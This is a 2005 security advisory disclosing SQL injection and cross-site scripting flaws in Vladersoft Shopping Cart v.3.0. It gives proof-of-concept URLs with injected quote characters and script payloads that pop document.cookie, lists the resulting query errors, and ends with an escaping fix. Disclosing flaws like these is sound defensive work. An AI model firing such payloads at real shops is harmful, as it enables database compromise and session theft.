Multiple sql injection, and xss vulnerabilities in Vladersoft Shopping Cart v.3.0

Dcrab 's Security Advisory
http://icis.digitalparadox.org/~dcrab
http://www.hackerscenter.com/

Severity:  High
Title: Multiple sql injection, and xss vulnerabilities in Vladersoft Shopping 
Cart v.3.0
Date: March  27,  2005

Summary:
There are multiple sql injection, xss vulnerabilities in the Vladersoft 
Shopping Cart v.3.0.

Proof of Concept Exploits:
http://localhost/store/category.php?sid=CDFE279AC2AD08522DF1CF9B46475132&id='SQL_INJECTION

Query: "SELECT * FROM categories WHERE CategoryID = ''SQL_INJECTION'"

Error 1064: You have an error in your SQL syntax near 'SQL_INJECTION'' at line 1


http://localhost/store/item.php?sid=CDFE279AC2AD08522DF1CF9B46475132&id='SQL_INJECTION

Query: "SELECT * FROM options WHERE OptionItemID = ''SQL_INJECTION' ORDER BY 
OptionPrice ASC"

Error 1064: You have an error in your SQL syntax near 'SQL_INJECTION' ORDER BY 
OptionPrice ASC' at line 1


http://localhost/store/index.php?sid=CDFE279AC2AD08522DF1CF9B46475132&lang='SQL_INJECTION

Query: "SELECT CategoryID AS bookmarkID, CategoryName'SQL_INJECTION AS 
bookmarkName FROM categories WHERE CategoryID = '0'"

Error 1064: You have an error in your SQL syntax near '0'' at line 1


http://localhost/store/search_result.php?sid=&searchTopCategoryID=&searchQuery='SQL_INJECTION&sid=CDFE279AC2AD08522DF1CF9B464751

32&currency=USD

Query: "SELECT COUNT(*) FROM items AS I, categories AS C, categories_items AS 
CI WHERE CI.ItemID = I.ItemID AND CI.CategoryID = 

C.CategoryID AND I.ItemStatus = '1' AND I.ItemIndexedWords LIKE 
'%'SQL_INJECTION%'"

Error 1064: You have an error in your SQL syntax near 'SQL_INJECTION%'' at line 
8


http://localhost/store/search_result.php?sid=CDFE279AC2AD08522DF1CF9B46475132&searchTopCategoryID='SQL_INJECTION&searchQuery=&s

id=CDFE279AC2AD08522DF1CF9B46475132&currency=USD

Query: "SELECT COUNT(*) FROM items AS I, categories AS C, categories_items AS 
CI WHERE CI.ItemID = I.ItemID AND CI.CategoryID = 

C.CategoryID AND I.ItemStatus = '1' AND I.ItemIndexedWords LIKE '%%' AND 
CI.CategoryID = ''SQL_INJECTION'"

Error 1064: You have an error in your SQL syntax near 'SQL_INJECTION'' at line 8


http://localhost/store/index.php?sid=CDFE279AC2AD08522DF1CF9B46475132&lang=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

Pops cookie

http://localhost/store/search_result.php?sid=CDFE279AC2AD08522DF1CF9B46475132&searchTopCategoryID=%22%3E%3Cscript%3Ealert(documen

t.cookie)%3C/script%3E&searchQuery=&sid=CDFE279AC2AD08522DF1CF9B46475132&currency=USD

Pops cookie

Possible fix: The usage of htmlspeacialchars(), mysql_escape_string(), 
mysql_real_escape_string() and other functions for input validation before 
passing 

user input to the mysql database, or before echoing data on the screen, would 
solve these problems.

Author:
These vulnerabilties have been found and released by Diabolic Crab, Email: 
dcrab[AT|NOSPAM]hackersenter[DOT|NOSPAM]com, please feel free to 

contact me regarding these vulnerabilities. You can find me at, 
http://www.hackerscenter.com or http://icis.digitalparadox.org/~dcrab. Lookout 
for my 

soon to come out book on Secure coding with php.